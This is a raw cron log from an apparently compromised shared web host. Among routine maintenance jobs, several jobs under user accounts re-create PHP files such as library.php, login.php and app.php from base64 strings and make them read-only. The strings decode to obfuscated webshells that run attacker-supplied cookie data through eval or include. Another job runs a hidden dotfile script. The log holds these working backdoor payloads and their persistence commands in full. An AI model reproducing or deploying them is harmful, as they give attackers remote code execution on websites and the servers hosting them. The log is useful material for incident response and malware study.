Mar  1 09:10:01 medusa CROND[29773]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:10:01 medusa CROND[29775]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 09:10:01 medusa CROND[29780]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:10:01 medusa CROND[29786]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:10:01 medusa CROND[29787]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:10:01 medusa CROND[29783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:10:01 medusa CROND[29789]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 09:10:01 medusa CROND[29782]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:10:01 medusa CROND[29767]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:10:01 medusa CROND[29812]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:11:01 medusa CROND[20262]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:11:01 medusa CROND[20335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:11:01 medusa CROND[20347]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:11:01 medusa CROND[20348]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:11:01 medusa CROND[20345]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:11:01 medusa CROND[20351]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:11:01 medusa CROND[20352]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:11:01 medusa CROND[20353]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:11:01 medusa CROND[20356]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:11:01 medusa CROND[20358]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:11:01 medusa CROND[20362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:11:01 medusa CROND[20363]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:11:01 medusa CROND[20371]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:12:01 medusa CROND[8945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:12:01 medusa CROND[8981]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:12:01 medusa CROND[8982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:12:01 medusa CROND[8983]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:12:01 medusa CROND[8984]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:12:01 medusa CROND[8985]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:12:01 medusa CROND[8986]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:12:01 medusa CROND[8991]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:12:01 medusa CROND[8992]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:12:01 medusa CROND[8993]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:12:01 medusa CROND[8997]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:12:01 medusa CROND[8998]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
